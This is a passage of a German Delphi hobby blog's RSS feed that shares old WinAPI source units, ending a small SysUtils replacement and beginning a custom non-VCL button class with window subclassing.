   <strong><span style="color: #000080;">function</span></strong> UpperCase<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> s<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">function</span></strong> LowerCase<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> s<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">function</span></strong> IntToStr<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> i<span style="color: #000000;">:</span> Int64)<span style="color: #000000;">:</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">function</span></strong> Format<span style="color: #000000;">(</span>fmt<span style="color: #000000;">:</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span> params<span style="color: #000000;">:</span> <strong><span style="color: #000080;">array</span></strong> <strong><span style="color: #000080;">of</span></strong> <strong><span style="color: #000080;">const</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">procedure</span></strong> FreeAndNil<span style="color: #000000;">(</span><strong><span style="color: #000080;">var</span></strong> Obj<span style="color: #000000;">);</span>

<strong><span style="color: #000080;">implementation</span></strong>

<strong><span style="color: #000080;">procedure</span></strong> ShowMessage<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szMessage<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">);</span>
<strong><span style="color: #000080;">begin</span></strong>
   MessageBox<span style="color: #000000;">(</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span> Pointer<span style="color: #000000;">(</span>szMessage<span style="color: #000000;">),</span> <span style="color: #000080;">'InfoBox'</span><span style="color: #000000;">,</span> <span style="color: #000000;">0</span><span style="color: #000000;">);</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> FileExists<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szFileName<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> Boolean<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
   Handle   <span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span>
   FindData <span style="color: #000000;">:</span> TWin32FindData<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   Handle   <span style="color: #000000;">:=</span> FindFirstFile<span style="color: #000000;">(</span>Pointer<span style="color: #000000;">(</span>szFileName<span style="color: #000000;">),</span>FindData<span style="color: #000000;">);</span>
   Result   <span style="color: #000000;">:=</span> <span style="color: #000000;">(</span>Handle <span style="color: #000000;">&lt;&gt;</span> INVALID_HANDLE_VALUE<span style="color: #000000;">);</span>

   <strong><span style="color: #000080;">if</span></strong><span style="color: #000000;">(</span>Result<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> Windows<span style="color: #000000;">.</span>FindClose<span style="color: #000000;">(</span>Handle<span style="color: #000000;">);</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">procedure</span></strong> WriteDebug<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szStr<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">const</span></strong> Param <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">);</span>
<strong><span style="color: #000080;">var</span></strong>
   F    <span style="color: #000000;">:</span> TextFile<span style="color: #000000;">;</span>
   Attr <span style="color: #000000;">:</span> DWord<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">const</span></strong> FName <span style="color: #000000;">=</span> <span style="color: #000080;">'debug.txt'</span><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   <strong><span style="color: #000080;">if</span></strong> Param <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      AssignFile<span style="color: #000000;">(</span>F<span style="color: #000000;">,</span> FName<span style="color: #000000;">);</span>
      Attr <span style="color: #000000;">:=</span> GetFileAttributes<span style="color: #000000;">(</span>FName<span style="color: #000000;">);</span>
      <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span><span style="color: #000000;">(</span>Attr <strong><span style="color: #000080;">and</span></strong> FILE_ATTRIBUTE_DIRECTORY	<span style="color: #000000;">)</span> <span style="color: #000000;">=</span> FILE_ATTRIBUTE_DIRECTORY<span style="color: #000000;">)</span> <strong><span style="color: #000080;">and</span></strong>
         <strong><span style="color: #000080;">Not</span></strong> <span style="color: #000000;">(</span><span style="color: #000000;">(</span>Attr <span style="color: #000000;">=</span> <span style="color: #000000;">$</span>FFFFFFFF<span style="color: #000000;">))</span> <strong><span style="color: #000080;">then</span></strong>
         Exit<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>Attr <span style="color: #000000;">=</span> <span style="color: #000000;">$</span>FFFFFFFF<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
         ReWrite<span style="color: #000000;">(</span>F<span style="color: #000000;">)</span>
      <strong><span style="color: #000080;">else</span></strong>
         Append<span style="color: #000000;">(</span>F<span style="color: #000000;">);</span>
      WriteLn<span style="color: #000000;">(</span>F<span style="color: #000000;">,</span> IntToStr<span style="color: #000000;">(</span>GetTickCount <strong><span style="color: #000080;">div</span></strong> <span style="color: #000000;">1000</span><span style="color: #000000;">)</span> <span style="color: #000000;">+</span> <span style="color: #000080;">': '</span> <span style="color: #000000;">+</span> szStr<span style="color: #000000;">);</span>
      Flush<span style="color: #000000;">(</span>F<span style="color: #000000;">);</span>
      CloseFile<span style="color: #000000;">(</span>F<span style="color: #000000;">);</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> UpperCase<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> s<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong> i <span style="color: #000000;">:</span> Integer<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   Result <span style="color: #000000;">:=</span> <span style="color: #000080;">''</span><span style="color: #000000;">;</span>

   <strong><span style="color: #000080;">if</span></strong><span style="color: #000000;">(</span>length<span style="color: #000000;">(</span>s<span style="color: #000000;">)</span> <span style="color: #000000;">&gt;</span> <span style="color: #000000;">0</span><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      SetLength<span style="color: #000000;">(</span>Result<span style="color: #000000;">,</span>length<span style="color: #000000;">(</span>s<span style="color: #000000;">));</span>
      <strong><span style="color: #000080;">for</span></strong> i <span style="color: #000000;">:=</span> <span style="color: #000000;">1</span> <strong><span style="color: #000080;">to</span></strong> length<span style="color: #000000;">(</span>s<span style="color: #000000;">)</span> <strong><span style="color: #000080;">do</span></strong>
         Result<span style="color: #000000;">[</span>i<span style="color: #000000;">]</span> <span style="color: #000000;">:=</span> UpCase<span style="color: #000000;">(</span>s<span style="color: #000000;">[</span>i<span style="color: #000000;">]);</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> LowerCase<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> s<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong> i <span style="color: #000000;">:</span> Integer<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   Result <span style="color: #000000;">:=</span> <span style="color: #000080;">''</span><span style="color: #000000;">;</span>

   <strong><span style="color: #000080;">if</span></strong><span style="color: #000000;">(</span>length<span style="color: #000000;">(</span>s<span style="color: #000000;">)</span> <span style="color: #000000;">&gt;</span> <span style="color: #000000;">0</span><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      SetLength<span style="color: #000000;">(</span>Result<span style="color: #000000;">,</span>length<span style="color: #000000;">(</span>s<span style="color: #000000;">));</span>
      <strong><span style="color: #000080;">for</span></strong> i <span style="color: #000000;">:=</span> <span style="color: #000000;">1</span> <strong><span style="color: #000080;">to</span></strong> length<span style="color: #000000;">(</span>s<span style="color: #000000;">)</span> <strong><span style="color: #000080;">do</span></strong>
         <strong><span style="color: #000080;">case</span></strong> s<span style="color: #000000;">[</span>i<span style="color: #000000;">]</span> <strong><span style="color: #000080;">of</span></strong>
            <span style="color: #000080;">'A'</span><span style="color: #000000;">..</span><span style="color: #000080;">'Z'</span><span style="color: #000000;">,</span><span style="color: #000080;">'�'</span><span style="color: #000000;">,</span><span style="color: #000080;">'�'</span><span style="color: #000000;">,</span><span style="color: #000080;">'�'</span><span style="color: #000000;">:</span>
               Result<span style="color: #000000;">[</span>i<span style="color: #000000;">]</span> <span style="color: #000000;">:=</span> CHR<span style="color: #000000;">(</span>BYTE<span style="color: #000000;">(</span>s<span style="color: #000000;">[</span>i<span style="color: #000000;">])</span> <span style="color: #000000;">+</span> <span style="color: #000000;">32</span><span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">else</span></strong>
            Result<span style="color: #000000;">[</span>i<span style="color: #000000;">]</span> <span style="color: #000000;">:=</span> s<span style="color: #000000;">[</span>i<span style="color: #000000;">];</span>
         <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> IntToStr<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> i<span style="color: #000000;">:</span> Int64)<span style="color: #000000;">:</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
  Negativ <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
  Dummy   <span style="color: #000000;">:</span> Int64;
<strong><span style="color: #000080;">begin</span></strong>
   Result <span style="color: #000000;">:=</span> <span style="color: #000080;">''</span><span style="color: #000000;">;</span>
   Dummy  <span style="color: #000000;">:=</span> i<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> Dummy <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
      Result <span style="color: #000000;">:=</span> <span style="color: #000080;">'0'</span><span style="color: #000000;">;</span>
   Negativ <span style="color: #000000;">:=</span> Dummy <span style="color: #000000;">&lt;</span> <span style="color: #000000;">0</span><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> Negativ <strong><span style="color: #000080;">then</span></strong>
      Dummy <span style="color: #000000;">:=</span> <span style="color: #000000;">-</span>Dummy<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">while</span></strong> Dummy <span style="color: #000000;">&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">do</span></strong>
   <strong><span style="color: #000080;">begin</span></strong>
      Result <span style="color: #000000;">:=</span> Char<span style="color: #000000;">(</span><span style="color: #000000;">(</span>Dummy <strong><span style="color: #000080;">mod</span></strong> <span style="color: #000000;">10</span><span style="color: #000000;">)</span> <span style="color: #000000;">+</span> Integer<span style="color: #000000;">(</span><span style="color: #000080;">'0'</span><span style="color: #000000;">))</span> <span style="color: #000000;">+</span> Result<span style="color: #000000;">;</span>
      Dummy <span style="color: #000000;">:=</span> Dummy <strong><span style="color: #000080;">div</span></strong> <span style="color: #000000;">10</span><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> Negativ <strong><span style="color: #000080;">then</span></strong>
      Result <span style="color: #000000;">:=</span> <span style="color: #000080;">'-'</span> <span style="color: #000000;">+</span> Result<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> Format<span style="color: #000000;">(</span>fmt<span style="color: #000000;">:</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span> params<span style="color: #000000;">:</span> <strong><span style="color: #000080;">array</span></strong> <strong><span style="color: #000080;">of</span></strong> <strong><span style="color: #000080;">const</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
   pdw1, pdw2: PDWORD<span style="color: #000000;">;</span>
   i<span style="color: #000000;">:</span> integer<span style="color: #000000;">;</span>
   pc<span style="color: #000000;">:</span> PCHAR<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   pdw1 <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> length<span style="color: #000000;">(</span>params<span style="color: #000000;">)</span> <span style="color: #000000;">&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
      GetMem<span style="color: #000000;">(</span>pdw1, length<span style="color: #000000;">(</span>params<span style="color: #000000;">)</span> <span style="color: #000000;">*</span> sizeof<span style="color: #000000;">(</span>Pointer<span style="color: #000000;">));</span>
   pdw2 <span style="color: #000000;">:=</span> pdw1;
   <strong><span style="color: #000080;">for</span></strong> i <span style="color: #000000;">:=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">to</span></strong> high<span style="color: #000000;">(</span>params<span style="color: #000000;">)</span> <strong><span style="color: #000080;">do</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      pdw2^ <span style="color: #000000;">:=</span> DWORD<span style="color: #000000;">(</span>PDWORD<span style="color: #000000;">(@</span>params<span style="color: #000000;">[</span>i<span style="color: #000000;">])^);</span>
      inc<span style="color: #000000;">(</span>pdw2)<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   GetMem<span style="color: #000000;">(</span>pc<span style="color: #000000;">,</span> <span style="color: #000000;">1024</span> <span style="color: #000000;">-</span> <span style="color: #000000;">1</span><span style="color: #000000;">);</span>
   <strong><span style="color: #000080;">try</span></strong>
      SetString<span style="color: #000000;">(</span>Result<span style="color: #000000;">,</span> pc<span style="color: #000000;">,</span> wvsprintf<span style="color: #000000;">(</span>pc<span style="color: #000000;">,</span> PCHAR<span style="color: #000000;">(</span>fmt<span style="color: #000000;">),</span> PCHAR<span style="color: #000000;">(</span>pdw1)<span style="color: #000000;">));</span>
   <strong><span style="color: #000080;">except</span></strong>
      Result <span style="color: #000000;">:=</span> <span style="color: #000080;">''</span><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>pdw1 <span style="color: #000000;">&lt;&gt;</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
      FreeMem<span style="color: #000000;">(</span>pdw1)<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>pc <span style="color: #000000;">&lt;&gt;</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
      FreeMem<span style="color: #000000;">(</span>pc<span style="color: #000000;">);</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">procedure</span></strong> FreeAndNil<span style="color: #000000;">(</span><strong><span style="color: #000080;">var</span></strong> Obj<span style="color: #000000;">);</span>
<strong><span style="color: #000080;">var</span></strong>
  Temp<span style="color: #000000;">:</span> TObject<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
  Temp <span style="color: #000000;">:=</span> TObject<span style="color: #000000;">(</span>Obj<span style="color: #000000;">);</span>
  Pointer<span style="color: #000000;">(</span>Obj<span style="color: #000000;">)</span> <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
  Temp<span style="color: #000000;">.</span>Free<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">.</span>
</span>
</span></pre>
<p>Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende  &#8211;  Danke!</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input name="cmd" type="hidden" value="_s-xclick" />
<input name="hosted_button_id" type="hidden" value="4217138" />
<input name="submit" src="https://www.paypal.com/de_DE/DE/i/btn/btn_donate_SM.gif" type="image" /> <img src="https://www.paypal.com/de_DE/i/scr/pixel.gif" border="0" alt="" width="1" height="1" /><br />
</form>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/x000x-sysutilspas/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>X000X-Btn.pas</title>
		<link>http://www.gods4u.de/x000x-btnpas</link>
		<comments>http://www.gods4u.de/x000x-btnpas#comments</comments>
		<pubDate>Fri, 03 Apr 2009 09:47:37 +0000</pubDate>
		<dc:creator>redaktion</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=58</guid>
		<description><![CDATA[X000X-Btn.pas Ich habe hier mal ein paar ältere Delphi sourcen eingearbeitet. Die Originale findet Ihr immer noch hier: X000XBtn.pas X000XSysUtils.pas X000XActiveX.pas (******************************************************************************* * * Unit: X000XBtn.pas * Author: (c) 2004, 2005 &#8211; Peter Welz * Mail: delphi[at]gods4u[dot]de * Web : delphi.gods4u.de * * Information: Diese Unit stellt in WinAPI Programmen eine Button-Klasse zur * Verf�gung. [...]]]></description>
			<content:encoded><![CDATA[<h4>X000X-Btn.pas</h4>
<p><span id="more-58"></span></p>
<p>Ich habe hier mal ein paar ältere <a title="delphi source" href="http://gods4u.de" target="_self">Delphi sourcen</a> eingearbeitet. Die Originale findet Ihr immer noch hier:</p>
<p><span style="font-family: Courier New; color: #000000; font-size: small;"><a href="http://delphi.gods4u.de/X000XBtn.html">X000XBtn.pas</a><br />
<a href="http://delphi.gods4u.de/X000XSysUtils.html">X000XSysUtils.pas</a><br />
<a href="http://delphi.gods4u.de/X000XActiveX.html">X000XActiveX.pas</a></span></p>
<p>(*******************************************************************************<br />
*<br />
* Unit:          X000XBtn.pas<br />
* Author:        (c) 2004, 2005 &#8211; Peter Welz<br />
*                                 Mail: delphi[at]gods4u[dot]de<br />
*                                 Web : delphi.gods4u.de<br />
*<br />
* Information:   Diese Unit stellt in WinAPI Programmen eine Button-Klasse zur<br />
*                Verf�gung.<br />
*                Hilfreich beim Entwickeln von kleineren Tools, die ohne die<br />
*                VCL von Borland geschrieben werden, da sich Funktionen einfach<br />
*                dem OnClick Ereignis zuweisen lassen.<br />
*<br />
* History:<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-08-29: Ein Jpeg kann jetzt aus einer Datei bzw. aus einer Resource<br />
*                geladen werden.<br />
*                Kleine �nderung an X000XActiveX &#8211; hMem in funktionen LoadPicture&#8230;<br />
*                wird jetzt nicht mehr �ber CreateStreamOnHGlobalX freigegeben,<br />
*                sondern es wird im finally block erledigt<br />
*                Der MemDC wird jetzt auch wieder freigegeben -<br />
*                Doppelte Funktionsaufrufe in den funktionen *JpegResource* und<br />
*                *JpegFromFile* habe ich zusammnengefasst<br />
*    Kommentar:     Um ein Jpeg aus einer Datei zu laden, einfach Property<br />
*                   Jpeg := &#8216;filename.jpg&#8217; setzen. Pfadangaben sind notwendig ;o)<br />
*                   Um ein Jpeg aus einer Resource zu laden, muss die Resource<br />
*                   vom Typ &#8216;JPEGDATA&#8217; sein und dem Property Jpeg muss der Name<br />
*                   der Resource zugeordnet werden z.B.: Jpeg := &#8216;BILD&#8217;;<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Der &#8220;Klick&#8221; gef�llt mir noch nicht (bei schnellen Mausklicks<br />
*                  wirkt der Klick verz�gert)<br />
*                &#8211; OnMouseOver<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*   weitere Infos am Ende der Unit<br />
*******************************************************************************)</p>
<p>unit X000XBtn;</p>
<p>{.$DEFINE ATOM}</p>
<p>interface</p>
<p>uses Windows, Messages, X000XActiveX;</p>
<p>const<br />
DEBUG = (1=0);</p>
<p>type<br />
TNotifyEvent  = procedure(Sender: TObject) of object;</p>
<p>{$IFNDEF ATOM}</p>
<p>{$MESSAGE &#8216;ATOM ist nicht definiert. Self-Pointer wird im Fenster gespeichert!  &#8216;}</p>
<p>(****************************************************************************)<br />
(* Ich hatte zuerst folgendes implementiert, dann aber irgenwo im Internet  *)<br />
(* gelesen, dass es umst�ndlich/nicht richtig ist, sowas im Fenster mit ab- *)<br />
(* zuspeichern. Dort wurde empfohlen, es mit GlobalAddAtom zu l�sen.        *)<br />
(*                                                                          *)<br />
(* Ich habe jetzt beide M�glichkeiten eingebaut, es kann mit Hilfe der      *)<br />
(* $DEFINE ATOM Directive zwischen den beiden Methoden ausgew�hlt werden    *)<br />
(*                                                                          *)<br />
(* Die Idee war folgende:                                                   *)<br />
(* Ich kann zu jedem Window einen 32-Bit Wert mit abspeichern, der mitge-   *)<br />
(* f�hrt wird. (GWL_USERDATA)                                               *)<br />
(* Da ich f�r das Subclassing (WndProc) eine Referenz auf mein Object       *)<br />
(* brauchte, habe ich mir gedacht, ich speicher im Fenster (GWL_USERDATA)   *)<br />
(* einfach einen Pointer auf eine Datenstruktur ab. Diese Datenstruktur     *)<br />
(* enth�lt wiederum Zeiger auf evtl. Objecteigenschaften, oder �hnliches&#8230; *)<br />
(*                                                                          *)<br />
(* Wie an diese Daten kommen?                                               *)<br />
(*     PWinProperty(GetWindowLong(hWnd, GWL_USERDATA))^.Self                *)<br />
(* Wie diesen Zeiger im Fenster speichern?                                  *)<br />
(*     SetWindowLong(hWnd, GWL_USERDATA, Integer(PWinProperty-Struct));     *)<br />
(****************************************************************************)</p>
<p>type<br />
PWinProperty  = ^TWinProperty;<br />
TWinProperty  = packed Record<br />
Self       : Pointer;<br />
//OldWndProc : Pointer;<br />
(* hier eventuell noch mehr Pointer auf Daten/Propertys *)<br />
(* die mit dem Object mitgef�hrt werden sollen&#8230; *)<br />
end;<br />
{$ENDIF}</p>
<p>type<br />
TBtnState     = (bsUp, bsDown);</p>
<p>type<br />
TX000XBtn = class</p>
<p>private<br />
{$IFNDEF ATOM}<br />
FWinProp    : PWinProperty;<br />
{$ENDIF}<br />
FCaption    : String;<br />
FHandle     : THandle;<br />
FOwner      : THandle;<br />
FName       : String;<br />
FLeft       : Integer;<br />
FTop        : Integer;<br />
FWidth      : Integer;<br />
FHeight     : Integer;<br />
FOnClick    : TNotifyEvent;<br />
FBtnState   : TBtnState;<br />
FTabStop    : Boolean;<br />
FOldWndProc : Pointer;<br />
FIsFocused  : Boolean;<br />
FColor      : COLORREF;<br />
FdcMemory   : HDC;<br />
FJpeg       : String;<br />
FFont       : HFONT;<br />
FFontName   : String;<br />
FFontColor  : COLORREF;<br />
FFontSize   : Integer;<br />
function  GetWidth: Integer;<br />
function  GetHeight: Integer;<br />
procedure SetCaption(const Value: String);<br />
procedure SetWidth(const Value: Integer);<br />
procedure SetHeight(const Value: Integer);<br />
function  GetTabStop: Boolean;<br />
procedure SetTabStop(const Value: Boolean);<br />
procedure ButtonDraw(ps : PPaintStruct = nil);<br />
procedure WndProc(var Msg: TMessage);<br />
procedure SetColor(const Value: COLORREF);<br />
function  SetMethod(Value: Pointer; Data: Pointer = nil): TMethod;<br />
procedure SetupMemDC;<br />
procedure DrawFromMemDC(var pPic: IPicture);<br />
procedure _SetMemDCFromFile(const JpegFileName: String);<br />
procedure _SetMemDCFromRes(const szResName: String);<br />
procedure SetMemDCFromX(const szName: String);<br />
procedure SetFontName(const Value: String);<br />
procedure SetFontColor(const Value: COLORREF);<br />
public<br />
constructor Create(hWndParent: THandle; Position: TPoint);<br />
destructor  Destroy; override;<br />
function SetNotifyEvent(Proc: Pointer): TNotifyEvent;<br />
published<br />
property Handle   : THandle      read FHandle;<br />
property Width    : Integer      read GetWidth   write SetWidth;<br />
property Height   : Integer      read GetHeight  write SetHeight;<br />
property Name     : String       read FName      write FName;<br />
property Caption  : String       read FCaption   write SetCaption;<br />
property OnClick  : TNotifyEvent read FOnClick   write FOnClick;<br />
property TabStop  : Boolean      read GetTabStop write SetTabStop;<br />
property Color    : COLORREF     read FColor     write SetColor;<br />
property Jpeg     : String       read FJpeg      write SetMemDCFromX;<br />
property FontColor: COLORREF     read FFontColor write SetFontColor;<br />
property FontName : String       read FFontName  write SetFontName;<br />
end;</p>
<p>{$IFDEF ATOM}<br />
var<br />
FAtom      : TAtom;<br />
{$ENDIF}</p>
<p>const<br />
CWIDTH  = 100;<br />
CHEIGHT = 27;</p>
<p>implementation</p>
<p>{ TX000XBtn }</p>
<p>uses X000XSysUtils;</p>
<p>type<br />
PFontNameExists = ^TFontNameExists;<br />
TFontNameExists = packed record<br />
Name   : String;<br />
Exists : Boolean;<br />
end;</p>
<p>(* function f�r SubClassen des Buttons. Hiermit werden die Nachrichten an das *)<br />
(* Object weitergeleitet.                                                     *)<br />
function SetWndProc(hWnd: hWnd; Msg: UINT; wParam: wParam; lParam: lParam): lResult; stdcall;<br />
var<br />
mMsg : TMessage;<br />
Self : TX000XBtn;<br />
begin<br />
(* Parameter in die Message schreiben                                      *)<br />
mMsg.Msg    := Msg;<br />
mMsg.wParam := wParam;<br />
mMsg.lParam := lParam;<br />
mMsg.Result := 0;<br />
(* Wir brauchen den Self-Pointer des Objectes, damit wir die Nachrichten an*)<br />
(* selbiges weiterleiten k�nnen. *)<br />
Self        := TX000XBtn({$IFDEF ATOM}<br />
GetProp(hWnd, PChar(FAtom))<br />
{$ELSE}<br />
PWinProperty(GetWindowLong(hWnd, GWL_USERDATA))^.Self<br />
{$ENDIF});<br />
(* Und die Nachricht/en an die WndProc des Objectes weiterleiten.          *)<br />
Self.WndProc(mMsg);<br />
(* Die WndProc des Objectes setzt das Result, welches wir einfach zur�ck-  *)<br />
(* geben.                                                                  *)<br />
Result      := mMsg.Result;<br />
end;</p>
<p>procedure TX000XBtn.WndProc(var Msg: TMessage);<br />
var<br />
ps      : TPaintStruct;<br />
dMsg    : TMsg;<br />
function InRect: Boolean;<br />
var  re : TRect;<br />
pt : TPoint;<br />
begin<br />
pt.X := Msg.LParamLo;<br />
pt.Y := Msg.LParamHi;<br />
GetClientRect(FHandle, re);<br />
Result := ptInRect(re, pt);<br />
end;<br />
begin<br />
(* Result erstmal auf 0 setzen, somit braucht beim behandeln der Nachricht *)<br />
(* nur noch ein Exit mitgegeben werden *)<br />
Msg.Result := 0;<br />
case Msg.Msg of<br />
WM_LBUTTONDOWN:<br />
begin<br />
(* Einmal die Message SETFOCUS rausschicken, damit die anderen *)<br />
(* Buttons auch richtig gezeichnet werden k�nnen *)<br />
SetFocus(FHandle);<br />
(* Alle Mausenachrichten empfangen, auch wenn die Maus nicht   *)<br />
(* mehr �ber unserem Control ist. Ist hier n�tig, da wir sonst *)<br />
(* nicht mitbekommen, wenn die Maus losgelassen wird und sich  *)<br />
(* nicht mehr �ber unserem Control befindet.                   *)<br />
SetCapture(FHandle);<br />
(* Nur wenn Maus noch im Bereich des Buttons ist, den Click merken *)<br />
if InRect then begin<br />
FBtnState := bsDown;<br />
//ButtonPaint;<br />
ButtonDraw;<br />
end;<br />
Exit;<br />
end;<br />
WM_MOUSEMOVE:<br />
begin<br />
(* ToDo: andere Farbe zeichnen&#8230; OnMouseOver Effekt *)<br />
end;<br />
WM_LBUTTONUP:<br />
begin<br />
(* Nur wenn Maus noch im Bereich des Buttons ist, ist es ein Click *)<br />
if InRect then begin<br />
if Assigned(Self.FOnClick) then begin<br />
FOnClick(Self);<br />
end;<br />
end;<br />
(* Hier auf jedenfall den Click wieder zur�cksetzen, damit die    *)<br />
(* Nachrichten wieder an die jeweiligen Controls geschickt werden *)<br />
FBtnState := bsUp;<br />
//ButtonPaint;<br />
ButtonDraw;<br />
(* Und die Maus wieder freigeben, jetzt empfangen elle Controls *)<br />
(* wieder die entsprechenden Nachrichten *)<br />
ReleaseCapture;<br />
Exit;<br />
end;<br />
WM_PAINT:<br />
begin<br />
(* Button zeichnen *)<br />
BeginPaint(FHandle, ps);<br />
(* ToDo: PaintStruct mit �bergeben, somit m�sste nicht das gesamte *)<br />
(*       Fenster neu gezeichnet werden *)<br />
ButtonDraw(@ps);<br />
EndPaint(FHandle, ps);<br />
Exit;<br />
end;<br />
WM_KEYDOWN:<br />
begin<br />
if Msg.WParam = 32 then begin<br />
SendMessage(FHandle, WM_LBUTTONDOWN, 0, 0);<br />
Exit;<br />
end;<br />
end;<br />
WM_KEYUP:<br />
begin<br />
if Msg.WParam = 32 then begin<br />
